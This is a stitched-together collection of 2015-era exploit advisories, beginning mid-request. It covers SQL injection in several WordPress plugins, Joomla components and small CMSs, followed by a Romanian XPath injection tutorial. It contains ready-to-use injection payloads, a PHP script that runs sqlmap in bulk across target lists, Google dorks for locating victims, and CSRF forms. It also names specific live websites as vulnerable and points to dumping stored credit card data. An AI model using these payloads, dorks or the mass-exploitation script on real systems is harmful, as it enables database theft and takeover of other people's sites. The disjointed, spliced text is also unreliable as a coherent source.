text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: __utma=30068390.891873145.1426646160.1426734944.1427794022.6; __utmz=30068390.1426646160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none) ; wp-settings-1=hidetb%3D1%26libraryContent%3Dbrowse%26imgsize%3Dfull%26align% 3Dcenter%26urlbutton%3Dpost%26editor%3Dtinymce%26mfold%3Do%26advImgDetails%3 Dshow%26ed_size%3D456%26dfw_width%3D822%26wplink%3D1; wp-settings-time-1=1426646255; PHPSESSID=9qrpbn6kh66h4eb102278b3hv5; wordpress_test_cookie=WP+Cookie+check; bp-activity-oldestpage=1; __utmb=30068390.1.10.1427794022; __utmc=30068390 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 22 action=load_combo_data + Vulnerable file: simple-ads-manager/sam-ajax-admin.php +Vulnerable code: from line 225 to 255 case 'sam_ajax_load_combo_data': $page = $_GET['page']; $rows = $_GET['rows']; $searchTerm = $_GET['searchTerm']; $offset = ((int)$page - 1) * (int)$rows; $sql = "SELECT wu.id, wu.display_name AS title, wu.user_nicename AS slug, wu.user_email AS email FROM $uTable wu WHERE wu.user_nicename LIKE '{$searchTerm}%' ORDER BY wu.id LIMIT $offset, $rows;"; $users = $wpdb->get_results($sql, ARRAY_A); $sql = "SELECT COUNT(*) FROM $uTable wu WHERE wu.user_nicename LIKE '{$searchTerm}%';"; $rTotal = $wpdb->get_var($sql); $total = ceil((int)$rTotal/(int)$rows); $out = array( 'page' => $page, 'records' => count($users), 'rows' => $users, 'total' => $total, 'offset' => $offset ); break; ---SQL INJECTION 4--- + REQUEST POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1 Host: hostname User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: __utma=30068390.891873145.1426646160.1426734944.1427794022.6; __utmz=30068390.1426646160.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none) ; wp-settings-1=hidetb%3D1%26libraryContent%3Dbrowse%26imgsize%3Dfull%26align% 3Dcenter%26urlbutton%3Dpost%26editor%3Dtinymce%26mfold%3Do%26advImgDetails%3 Dshow%26ed_size%3D456%26dfw_width%3D822%26wplink%3D1; wp-settings-time-1=1426646255; PHPSESSID=9qrpbn6kh66h4eb102278b3hv5; wordpress_test_cookie=WP+Cookie+check; bp-activity-oldestpage=1; __utmc=30068390 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 73 action=load_users&subscriber=<SQL INJECTION HERE>&contributor=<SQL INJECTION HERE>&author=<SQL INJECTION HERE>&editor=<SQL INJECTION HERE>&admin=<SQL INJECTION HERE>&sadmin=<SQL INJECTION HERE> + Vulnerable file: simple-ads-manager/sam-ajax-admin.php + Vulnerable code: from line 188 to 223 case 'sam_ajax_load_users': $roleSubscriber = (isset($_REQUEST['subscriber'])) ? urldecode($_REQUEST['subscriber']) : 'Subscriber'; $roleContributor = (isset($_REQUEST['contributor'])) ? urldecode($_REQUEST['contributor']) : 'Contributor'; $roleAuthor = (isset($_REQUEST['author'])) ? urldecode($_REQUEST['author']) : 'Author'; $roleEditor = (isset($_REQUEST['editor'])) ? urldecode($_REQUEST['editor']) : 'Editor'; $roleAdministrator = (isset($_REQUEST["admin"])) ? urldecode($_REQUEST["admin"]) : 'Administrator'; $roleSuperAdmin = (isset($_REQUEST['sadmin'])) ? urldecode($_REQUEST['sadmin']) : 'Super Admin'; $sql = "SELECT wu.id, wu.display_name AS title, wu.user_nicename AS slug, (CASE wum.meta_value WHEN 0 THEN '$roleSubscriber' WHEN 1 THEN '$roleContributor' WHEN 2 THEN '$roleAuthor' ELSE IF(wum.meta_value > 2 AND wum.meta_value <= 7, '$roleEditor', IF(wum.meta_value > 7 AND wum.meta_value <= 10, '$roleAdministrator', IF(wum.meta_value > 10, '$roleSuperAdmin', NULL) ) ) END) AS role FROM $uTable wu INNER JOIN $umTable wum ON wu.id = wum.user_id AND wum.meta_key = '$userLevel' ORDER BY wu.id;"; $users = $wpdb->get_results($sql, ARRAY_A); $k = 0; foreach($users as &$val) { $k++; $val['recid'] = $k; } $out = $users; break; REFERENCE: + [url]https://www.youtube.com/watch?v=HPJ1r9dhIB4[/url] Best Regards ----------------------------------- ITAS Team ([url]www.itas.vn[/url]) Source

Advisory: SQLi-vulnerabilities in aplication CMS WebDepo Affected aplication web: Aplication CMS WebDepo (Release date: 28/03/2014) Vendor URL: http://www.webdepot.co.il Vendor Status: 0day ========================== Vulnerability Description: ========================== Records and client practice management application CMS WebDepo suffers from multiple SQL injection vulnerabilitie ========================== Technical Details: ========================== SQL can be injected in the following GET GET VULN: wood=(id) $wood=intval($_REQUEST['wood']) ========================== SQL injection vulnerabilities ========================== Injection is possible through the file text.asp Exploit-Example: DBMS: 'MySQL' Exploit: +AND+(SELECT 8880 FROM(SELECT COUNT(*),CONCAT(0x496e75726c42726173696c,0x3a3a,version(),(SELECT (CASE WHEN (8880=8880) THEN 1 ELSE 0 END)),0x717a727a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) DBMS: 'Microsoft Access' Exploit: +UNION+ALL+SELECT+NULL,NULL,NULL,CHR(113)&CHR(112)&CHR(120)&CHR(112)&CHR(113)&CHR(85)&CHR(116)&CHR(106)&CHR(110)&CHR(108)&CHR(90)&CHR(74)&CHR(113)&CHR(88)&CHR(116)&CHR(113)&CHR(118)&CHR(111)&CHR(100)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16 Ex: http://target.us/text.asp?wood=(id)+Exploit ========================== SCRIPT EXPLOIT ========================== http://pastebin.com/b6bWuw7k --help: -t : SET TARGET. -f : SET FILE TARGETS. -p : SET PROXY Execute: php WebDepoxpl.php -t target php WebDepoxpl.php -f targets.txt php WebDepoxpl.php -t target -p 'http://localhost:9090' howto: http://blog.inurl.com.br/2015/03/0day-webdepo-sql-injection.html ========================== GOOGLE DORK ========================== inurl:"text.asp?wood=" site:il inurl:"text.asp?wood=" site:com inurl:"text.asp?wood=" ========================== Solution: ========================== Sanitizing all requests coming from the client ========================== Credits: ========================== AUTOR: Cleiton Pinheiro / Nick: googleINURL Blog: http://blog.inurl.com.br Twitter: https://twitter.com/googleinurl Fanpage: https://fb.com/InurlBrasil Pastebin http://pastebin.com/u/Googleinurl GIT: https://github.com/googleinurl PSS: http://packetstormsecurity.com/user/googleinurl YOUTUBE: http://youtube.com/c/INURLBrasil PLUS: http://google.com/+INURLBrasil ========================== References: ========================== [1] http://blog.inurl.com.br/2015/03/0day-webdepo-sql-injection.html [2] https://msdn.microsoft.com/en-us/library/ff648339.aspx Exploit: <?php /* # AUTOR: Cleiton Pinheiro / Nick: googleINURL # Blog: http://blog.inurl.com.br # Twitter: https://twitter.com/googleinurl # Fanpage: https://fb.com/InurlBrasil # Pastebin http://pastebin.com/u/Googleinurl # GIT: https://github.com/googleinurl # PSS: http://packetstormsecurity.com/user/googleinurl # YOUTUBE: http://youtube.com/c/INURLBrasil # PLUS: http://google.com/+INURLBrasil # EXPLOIT NAME: MINI exploit-SQLMAP - (0DAY) WebDepo -SQL injection / INURL BRASIL # VENTOR: http://www.webdepot.co.il # GET VULN: wood=(id) # $wood=intval($_REQUEST['wood']) ----------------------------------------------------------------------------- # DBMS: 'MySQL' # Exploit: +AND+(SELECT 8880 FROM(SELECT COUNT(*),CONCAT(0x496e75726c42726173696c,0x3a3a,version(),(SELECT (CASE WHEN (8880=8880) THEN 1 ELSE 0 END)),0x717a727a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) # DBMS: 'Microsoft Access' # Exploit: +UNION+ALL+SELECT+NULL,NULL,NULL,CHR(113)&CHR(112)&CHR(120)&CHR(112)&CHR(113)&CHR(85)&CHR(116)&CHR(106)&CHR(110)&CHR(108)&CHR(90)&CHR(74)&CHR(113)&CHR(88)&CHR(116)&CHR(113)&CHR(118)&CHR(111)&CHR(100)&CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM MSysAccessObjects%16 ----------------------------------------------------------------------------- # http://target.us/text.asp?wood=(id)+Exploit # GOOGLE DORK: inurl:"text.asp?wood=" # GOOGLE DORK: site:il inurl:"text.asp?wood=" # GOOGLE DORK: site:com inurl:"text.asp?wood=" # --help: -t : SET TARGET. -f : SET FILE TARGETS. -p : SET PROXY Execute: php WebDepoxpl.php -t target php WebDepoxpl.php -f targets.txt php WebDepoxpl.php -t target -p 'http://localhost:9090' ----------------------------------------------------------------------------- # EXPLOIT MASS USE SCANNER INURLBR # COMMAND: ./inurlbr.php --dork 'site:il inurl:text.asp?wood= ' -s 0dayWebDepo.txt -q 1,6 --exploit-get "?´'0x27" --comand-all "php 0dayWebDepo.php -t '_TARGET_'" # DOWNLOAD INURLBR: https://github.com/googleinurl/SCANNER-INURLBR ----------------------------------------------------------------------------- # TUTORIAL: http://blog.inurl.com.br/2015/03/0day-webdepo-sql-injection.html */ error_reporting(1); set_time_limit(0); ini_set('display_errors', 1); ini_set('max_execution_time', 0); ini_set('allow_url_fopen', 1); ob_implicit_flush(true); ob_end_flush(); $folder_SqlMap = "python ../sqlmap/sqlmap.py"; $op_ = getopt('f:t:p:', array('help::')); echo " _____ (_____) ____ _ _ _ _ _____ _ ____ _ _ (() ()) |_ _| \ | | | | | __ \| | | _ \ (_) | \ / | | | \| | | | | |__) | | ______ | |_) |_ __ __ _ ___ _| | \ / | | | . ` | | | | _ /| | |______| | _ <| '__/ _` / __| | | /=\ _| |_| |\ | |__| | | \ \| |____ | |_) | | | (_| \__ \ | | [___] |_____|_| \_|\____/|_| \_\______| |____/|_| \__,_|___/_|_| \n\033[1;37m0xNeither war between hackers, nor peace for the system.\n [+] [Exploit]: MINI 3xplo1t-SqlMap - (0DAY) WebDepo -SQL injection / INURL BRASIL\nhelp: --help\033[0m\n\n"; $menu = " -t : SET TARGET. -f : SET FILE TARGETS. -p : SET PROXY Execute: php 0dayWebDepo.php -t target php 0dayWebDepo.php -f targets.txt php 0dayWebDepo.php -t target -p 'http://localhost:9090' \n"; echo isset($op_['help']) ? exit($menu) : NULL; $params = array( 'target' => not_isnull_empty($op_['t']) ? (strstr($op_['t'], 'http') ? $op_['t'] : "http://{$op_['t']}") : NULL, 'file' => !not_isnull_empty($op_['t']) && not_isnull_empty($op_['f']) ? $op_['f'] : NULL, 'proxy' => not_isnull_empty($op_['p']) ? "--proxy '{$op_['p']}'" : NULL, 'folder' => $folder_SqlMap, 'line' => "-----------------------------------------------------------------------------------" ); not_isnull_empty($params['target']) && not_isnull_empty($params['file']) ? exit("[X] [ERRO] DEFINE TARGET OR FILE TARGET\n") : NULL; not_isnull_empty($params['target']) ? __exec($params) . exit() : NULL; not_isnull_empty($params['file']) ? __listTarget($params) . exit() : NULL; function not_isnull_empty($valor = NULL) { RETURN !is_null($valor) && !empty($valor) ? TRUE : FALSE; } function __plus() { ob_flush(); flush(); } function __listTarget($file) { $tgt_ = array_unique(array_filter(explode("\n", file_get_contents($file['file'])))); echo "\n\033[1;37m[!] [" . date("H:i:s") . "] [INFO] TOTAL TARGETS LOADED : " . count($tgt_) . "\033[0m\n"; foreach ($tgt_ as $url) { echo "\033[1;37m[+] [" . date("H:i:s") . "] [INFO] SCANNING : {$url} \033[0m\n"; __plus(); $file['target'] = $url; __exec($file) . __plus(); } } function __exec($params) { __plus(); echo "\033[1;37m{$params['line']}\n[!] [" . date("H:i:s") . "] [INFO] starting SqlMap...\n"; echo "[+] [" . date("H:i:s") . "] [INFO] TARGET: {$params['target']}/text.asp?wood={SQL-INJECTION}\033[0m\n"; $command = "python ../sqlmap/sqlmap.py -u '{$params['target']}/text.asp?wood=1' -p wood --batch --dbms=MySQL {$params['proxy']} --random-agent --answers='follow=N' --dbs --level 2"; system($command, $dados) . empty($dados[0]) ? exit() : NULL; __plus(); } Source

################################################################################################## #Exploit Title : Wordpress Plugin 'Business Intelligence' Remote SQL Injection vulnerability #Author : Jagriti Sahu AKA Incredible #Vendor Link : https://www.wpbusinessintelligence.com #Download Link : https://downloads.wordpress.org/plugin/wp-business-intelligence-lite.1.6.1.zip #Date : 1/04/2015 #Discovered at : IndiShell Lab #Love to : error1046 ,Team IndiShell,Codebreaker ICA ,Subhi,Mrudu,Hary,Kavi ################################################################################################## //////////////////////// /// Overview: //////////////////////// Wordpress plugin "Business Intelligence" is not filtering data in GET parameter ' t ', which in is file 'view.php' and passing user supplied data to SQL queries' hence SQL injection vulnerability has taken place. /////////////////////////////// // Vulnerability Description: / /////////////////////////////// vulnerability is due to parameter " t " in file 'view.php'. user can inject sql query uning GET parameter 't' //////////////// /// POC //// /////////////// POC Image URL---> ================= Image - TinyPic - Free Image Hosting, Photo Sharing & Video Hosting SQL Injection in parameter 't' (file 'view.php'): ================================================= Injectable Link---> http://www.wpbusinessintelligence.com/wp-content/plugins/wp-business-intelligence/view.php?t=1 Union based SQL injection exist in the parameter which can be exploited as follows: Payload used in Exploitation for Database name ---> http://www.wpbusinessintelligence.com/wp-content/plugins/wp-business-intelligence/view.php ?t=1337+union+select+1,2,3,group_concat(table_name),5,6,7,8,9,10,11+from+information_schema.tables+where+table_schema=database()--+ ################################################################################################### --==[[special Thanks to]]==-- # Manish Kishan Tanwar # Source: http://packetstorm.wowhacker.com/1504-exploits/wpbusinessintelligence-sql.txt

[+]Title: Joomla Contact Form Maker v1.0.1 Component - SQL injection vulnerability [+]Author: TUNISIAN CYBER [+]Date: 29/03/2015 [+]Vendor: http://extensions.joomla.org/extensions/extension/contacts-and-feedback/contact-forms/contact-form-maker [+]Type:WebApp [+]Risk:High [+]Overview: Contact Form Maker v1.0.1 suffers, from an SQL injection vulnerability. [+]Proof Of Concept: 127.0.0.1/index.php?option=com_contactformmaker&view=contactformmaker&id=SQL Source

Sunt multi care nu stiu ce este, dar la l-au vazut in aplicare in diferite tutoriale de mysql injection. De aici il puteti descarca https://addons.mozilla.org/ro/firefox/addon/hackbar/ . Si un mic tutorial de folosire :

################################################################################################## #Exploit Title : Joomla Spider Random Article Component SQL Injection vulnerability #Author : Jagriti Sahu AKA Incredible #Vendor Link : Joomla Random Article Demo-Web Dorado #Date : 22/03/2015 #Discovered at : IndiShell Lab #Love to : error1046 ,Team IndiShell,Codebreaker ICA ,Subhi,Mrudu,Hary,Kavi ################################################################################################## //////////////////////// /// Overview: //////////////////////// joomla component "Spider Random Article" is not filtering data in catID and Itemid parameters and hence affected by SQL injection vulnerability /////////////////////////////// // Vulnerability Description: /////////////////////////////// vulnerability is due to catID and Itemid parameter //////////////// /// POC //// /////////////// SQL Injection in catID parameter ================================= Use error based double query injection with catID parameter Injected Link---> Joomla Form Maker Demo-Web-Dorado Like error based double query injection for exploiting username ---> Error: 500 View not found [name, type, prefix]: randomarticle, html, randomarticleView' and(select 1 FROM(select count(*),concat((select (select concat(database(),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -&limit=1&style=1&view=articles&format=raw&Itemid=13 POC Image URL---> Image - TinyPic - Free Image Hosting, Photo Sharing & Video Hosting SQL Injection in Itemid parameter ================================= Itemid Parameter is exploitable using xpath injection Error: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '***%' OR items='all'' at line 1 SQL=SELECT * FROM vmvxw_spiderfacebook_params WHERE items LIKE '%***13' extractvalue(6678,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e ))-- - POC Image URL---> http://tinypic.com/view.php?pic=1239z5h&s=8#.VRG97OESHIU ################################################################################################### --==[[special Thanks to]]==-- # Manish Kishan Tanwar # Source: http://dl.packetstormsecurity.net/1503-exploits/joomlasrac-sql.txt

################################################################################################## #Exploit Title : Joomla Spider FAQ component SQL Injection vulnerability #Author : Manish Kishan Tanwar AKA error1046 #Vendor Link : http://demo.web-dorado.com/spider-faq.html #Date : 21/03/2015 #Discovered at : IndiShell Lab #Love to : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Incredible,Kishan Singh and ritu rathi #Discovered At : Indishell Lab ################################################################################################## //////////////////////// /// Overview: //////////////////////// joomla component Spider FAQ is not filtering data in theme and Itemid parameters and hence affected from SQL injection vulnerability /////////////////////////////// // Vulnerability Description: /////////////////////////////// vulnerability is due to theme and Itemid parameter //////////////// /// POC //// /////////////// POC image=http://oi57.tinypic.com/2rh1zk7.jpg SQL Injection in theme parameter ================================= Use error based double query injection with theme parameter Like error based double query injection for exploiting username ---> and(select 1 FROM(select count(*),concat((select (select concat(user(),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- - Injected Link---> http://website.com/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4 and(select 1 FROM(select count(*),concat((select (select concat(user(),0x27,0x7e)) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- - &searchform=1&expand=0&Itemid=109 SQL Injection in Itemid parameter ================================= Itemid Parameter is exploitable using xpath injection User extraction payload ------------------------ ' AND EXTRACTVALUE(6678,CONCAT(0x7e,(SELECT user() LIMIT 0,1),0x7e))-- - crafted URL---> http://demo.web-dorado.com/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4&searchform=1&expand=0&Itemid=109' AND EXTRACTVALUE(6678,CONCAT(0x7e,(SELECT user() LIMIT 0,1),0x7e))-- - Table extraction ----------------- ' and extractvalue(6678,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e))-- - Crafted URL----> http://demo.web-dorado.com/index.php?option=com_spiderfaq&view=spiderfaqmultiple&standcat=0&faq_cats=,2,3,&standcatids=&theme=4&searchform=1&expand=0&Itemid=109' and extractvalue(6678,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e))-- - --==[[ Greetz To ]]==-- ############################################################################################ #Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba, #Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad, #Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA, #Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash ############################################################################################# --==[[Love to]]==-- # My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi, #Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty and Don(Deepika kaushik) --==[[ Special Fuck goes to ]]==-- <3 suriya Cyber Tyson <3 Source

# Affected software: subrion # Type of vulnerability: csrf to sql injection # URL: http://demo.subrion.org # Discovered by: Provensec # Website: http://www.provensec.com #version v3.3.0 # Proof of concept no csrf protection on database form which made subrion to vulnerable to database injection vuln parameter query poc: <html> <body> <form action="http://demo.subrion.org/admin/database/" method="POST"> <input type="hidden" name="query" value="SELECT * FROM `sbr301_albums` `id` " /> <input type="hidden" name="table" value="sbr301_albums" /> <input type="hidden" name="field" value="id" /> <input type="hidden" name="exec_query" value="Go" /> <input type="submit" value="Submit request" /> </form> </body> </html> Source

# Affected software: Mambo # Type of vulnerability: csrf to sql injection # URL: http://source.mambo-foundation.org/ # Discovered by: Provensec # Website: http://www.provensec.com #version 4.6.5 # Proof of concept no csrf token were used on sql query form so attacker can leverage csrf to execute sql query on admin end screenshot http://prntscr.com/6gk265 POST /mambo/administrator/index2.php HTTP/1.1 Host: demo.opensourcecms.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://demo.opensourcecms.com/mambo/administrator/index2.php Cookie: __utma=87180614.347131305.1423813196.1426315580.1426317582.5; __utmz=87180614.1424330089.2.2.utmcsr=4homepages.de|utmccn=(referral)|utmcmd=referral|utmcct=/demo/; __gads=ID=e4fef836c4eca064:T=1424329959:S=ALNI_MZOrjDhCaPQBQcowebgQWskHX12kQ; __utmc=87180614; 5503d94d48147_SESSION=ben7euhc7r3j578q73sbnn9oq4; __utmb=87180614.1.10.1426317586; __utmt=1; 25fee453fc1b1d324265b9cb23363e2c=san1g4th13mhokc4g5tk3muaa3; mostlyce[startup_key]=f1df635c5e35c15a244c554e356ad0e3; mostlyce[usertype]=Super+Administrator; webfxtab_modules-cpanel=4 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 47 sql=select&option=com_mostlydbadmin&task=xquery vulnerable paramter sql poc <html> <body> <form action=" http://demo.opensourcecms.com/mambo/administrator/index2.php" method="POST"> <input type="hidden" name="sql" value="sql statement to execute " /> <input type="hidden" name="option" value="com_mostlydbadmin" /> <input type="hidden" name="task" value="xquery" /> <input type="submit" value="Submit request" /> </form> </body> </html> Source

Title: WordPress SEO by Yoast <= 1.7.3.3 - Blind SQL Injection Version/s Tested: 1.7.3.3 Patched Version: 1.7.4 CVSSv2 Base Score: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C/E:POC/RL:OF/RC:C) CVSSv2 Temporal Score: 7 (AV:N/AC:L/Au:S/C:C/I:C/A:C/E:POC/RL:OF/RC:C) WPVULNDB: https://wpvulndb.com/vulnerabilities/7841 Description: WordPress SEO by Yoast is a popular WordPress plugin (wordpress-seo) used to improve the Search Engine Optimization (SEO) of WordPress sites. The latest version at the time of writing (1.7.3.3) has been found to be affected by two authenticated (admin, editor or author user) Blind SQL Injection vulnerabilities. The plugin has more than one million downloads according to WordPress. Technical Description: The authenticated Blind SQL Injection vulnerability can be found within the 'admin/class-bulk-editor-list-table.php' file. The orderby and order GET parameters are not sufficiently sanitised before being used within a SQL query. Line 529: $orderby = ! empty( $_GET['orderby'] ) ? esc_sql( sanitize_text_field( $_GET['orderby'] ) ) : 'post_title'; Line 533: order = esc_sql( strtoupper( sanitize_text_field( $_GET['order'] ) ) ); If the GET orderby parameter value is not empty it will pass its value through WordPess's own esc_sql() function. According to WordPress this function 'Prepares a string for use as an SQL query. A glorified addslashes() that works with arrays.'. However, this is not sufficient to prevent SQL Injection as can be seen from our Proof of Concept. Proof of Concept (PoC): The following GET request will cause the SQL query to execute and sleep for 10 seconds if clicked on as an authenticated admin, editor or author user. http://127.0.0.1/wp-admin/admin.php?page=wpseo_bulk-editor&type=title&orderby=post_date%2c(select%20*%20from%20(select(sleep(10)))a)&order=asc Using SQLMap: python sqlmap.py -u " http://127.0.0.1/wp-admin/admin.php?page=wpseo_bulk-editor&type=title&orderby=post_date*&order=asc" --batch --technique=B --dbms=MySQL --cookie="wordpress_9d...; wordpress_logged_in_9dee67...;" Impact: As there is no anti-CSRF protection a remote unauthenticated attacker could use this vulnerability to execute arbitrary SQL queries on the victim WordPress web site by enticing an authenticated admin, editor or author user to click on a specially crafted link or visit a page they control. One possible attack scenario would be an attacker adding their own administrative user to the target WordPress site, allowing them to compromise the entire web site. Timeline: March 10th 2015 - 15:30 GMT: Vulnerability discovered by Ryan Dewhurst (WPScan Team - Dewhurst Security). March 10th 2015 - 18:30 GMT: Technical review by FireFart (WPScan Team). March 10th 2015 - 20:00 GMT: Vendor contacted via email. March 10th 2015 - 21:25 GMT: Vendor replies, confirms issue and gave expected patch timeline. March 11th 2015 - 12:05 GMT: Vendor released version 1.7.4 which patches this issue. March 11th 2015 - 12:30 GMT: Advisory released. Source

========================================================================================== Instant v2.0 SQL Injection Vulnerability ========================================================================================== :-------------------------------------------------------------------------------------------------------------------------: : # Exploit Title : Instant v2.0 SQL Injection Vulnerability : # Date : 10th March 2015 : # Author : X-Cisadane : # CMS Name : Instant v2.0 (another OverCoffee production) : # CMS Developer : overcoffee.com : # Version : 2.0 : # Category : Web Applications : # Vulnerability : SQL Injection : # Tested On : Google Chrome Version 40.0.2214.115 m (Windows 7), Havij 1.16 Pro & SQLMap 1.0-dev-nongit-20150125 : # Greetz to : Explore Crew, CodeNesia, Bogor Hackers Community, Ngobas and Winda Utari :-------------------------------------------------------------------------------------------------------------------------: A SQL Injection Vulnerability has been discovered in the Instant v.2.0 CMS. The Vulnerability is located in the subid Value of the product_cat.php File. Attackers are able to execute own SQL commands by usage of a GET Method Request with manipulated subid Value. Attackers are able to read Database information by execution of own SQL commands. DORKS (How to find the target) : ================================ "Powered By Instant" inurl:/catalog/ inurl:/product_cat.php?subid= Or use your own Google Dorks Proof of Concept ================ SQL Injection PoC : http://[Site]/[Path]/product_cat.php/subid=['SQLi] And you have to change the URL structure to http://[Site]/[Path]/product_cat.php?subid=['SQLi] Example : http://www.cynthiawebbdesigns.com/catalog/product_cat.php/subid=16617/index.html?PHPSESSID=3ef7e156add41316201ffe87bd489a7d Just change the URL structure to http://www.cynthiawebbdesigns.com/catalog/product_cat.php?subid='16617 And you'll see this error notice : You have an error in your SQL syntax; check the manual that corresponds to your MySQL ... Note : This CMS stored Credit Card Infos on the Database, just open your Fav Tool and Dump the orders Table PIC / PoC : http://i59.tinypic.com/4l0poh.png Another Vuln Sites : http://www.unitymarketingonline.com/catalog/product_cat.php?subid=['SQLi] http://www.peacefulinspirations.net/catalog/product_cat.php?subid=['SQLi] http://www.dickensgifts.com/catalog/product_cat.php?subid=['SQLi] http://www.frogandprincellc.com/catalog/product_cat.php?subid=['SQLi] http://www.debrekht.com/catalog/product_cat.php?subid=['SQLi] ... etc ... Source

Introducere Aplicatiile web folosesc foarte mult bazele de date pentru a aduna datele necesare si ale folosii la buna lor functionare . De multi ani, bazele de date relationale sunt tehnologia preferata pentru gestionarea datelor, dar in ultimul timp, au inceput sa iasa solutii organizate in structuri XML . Daca DB-urile relationale erau interogate folosind limbajul SQL, DB-urile XML folosesc XPath pentru a efectua query . Asa cum in limbajul SQL exista vulnerabilitati, exista si in XPath . In particular XPath injection, care ne permite sa injectam sintaxe XPath in internul request-ului, pe care aplicatia trebuie sa-l interpreteze, permitandu-ne astfel sa folosim interogari ad-hoc, de exemplu, by-pass al mecanismelor de autentificare, sau accesul la informatii care nu ar trebuii sa fie citite . Structura unei baze XML Pentru a intelege cum functioneaza query XPath, sa ne imaginam o baza de date care contine date de autentificare ( username, password si nivelul de acces ) . <?xml version="1.0" encoding="ISO-8859-1"?> <auth> <user> <username>admin</username> <password>Password</password> <account>admin</account> </user> <user> <username>guest1</username> <password>Passosp1t31</password> <account>guest</account> </user> <user> <username>guest2</username> <password>Passosp1r32</password> <account>guest</account> </user> </auth> Sa specificam mai in detaliu ce semnificatie au tagurile folosite . <auth>, este elementul radacina si il putem considera numele pe care vrem sa-l dam DB-ului nostru . <user>, defineste prima separare de elemente al aceluia intreg, intr-o baza de date relationala ar corespunde cu numele tabelului . <username>, <password> si <account>, definec inregistrarile relative al fiecarui <user> Putem presupune ca un utilizator poate accesa DB-ul prin intermediul front-end, care este programat intr-un oarecare limbaj web compatibil . Prin intermediul acestui instrument va fi posibil sa introducem date, sa le verificam si asa vom garanta accesul la DB, asta in posibilitatile permisiilor . XPath injection In momentul verificarii credentialelor accesului, va fi generat un string asemanator acestuia : //user[username/text()='USERNAME' and password/text()='PASSWORD']/account/text() Aici imput-ul utilizatorului, este reprezentat de string-ul USERNAME si PASSWORD . Daca aplicatia care interpreteaza codul XPath, nu filtreaza amandoua string-urile ( adica nu sterge '' ) atunci aplicatia este expusa unei vulnerabilitati de tip XPath injection . Pentru inceput trebuie sa se verifice injectia de fazabilitate, putem face asta punand un singur apex . Facand asa, serverul va returna o eroare de sintaxa si asa vom fii destul de sigur ca aplicatia este expusa unei vulnerabilitati . Sa vedem acum, cum putem sa profitam . Sa presupunem sa string-urile precedente ( USERNAME si PASSWORD ) sunt valorificate ca aici : USERNAME || ‘ or ‘a’='a PASSWORD || ‘ or ‘a’='a Cu aceste valori, query-ul care va fi rezultat va fi : //user[username/text()='' or 'a'='a' and password/text()='' or 'a'='a']/account/text() Situatia prezentata in acest tip de query va returna in totdeauna pozitiv ( TRUE ), ce va garanta accesul la DB, fara ca utilizatorul sa fii introdus credentiale valide . Daca nu cunoastem nimic despre structura interna al DB-ului XML, sau aplicatia nu furnizeaza nici un mesaj despre eroare, putem folosii un atac de tip Blind Xpath injection . Blind XPath injection In urma datelor pe care le cautam, este posibil sa mai obtinem si functii interne al limbajului XPath si asa vom avea mult mai multe informatii despre structura DB-ului XML . stringlenght() Cu aceasta functie putem extrage lungimea unui string ( sir ) de orice fel din teriorul bazei de date, ca in exemplu . stringlenght(//user[position()=1]/child::node()[position()=2]) In acest caz, vom obtine lungimea string-ului al doilea al primului utilizator . Putem chiar sa verificam daca lungimea este egala cu o valoare determinata . stringlength(//user[position()=1]/child::node()[position()=2]) = 6 Rezultatul va fii TRUE sau FALSE . substring() Putem extrage valoarea continuta in internul unui camp al DB-ului ca in exemplu : substring((//user[position()=1]/child::node()[position()=2]),1,1) In acest fel am obtinut primul caracter al username-ului . Pe langa asta, putem controla daca string-ul de output este egal cu o valoare determinata . 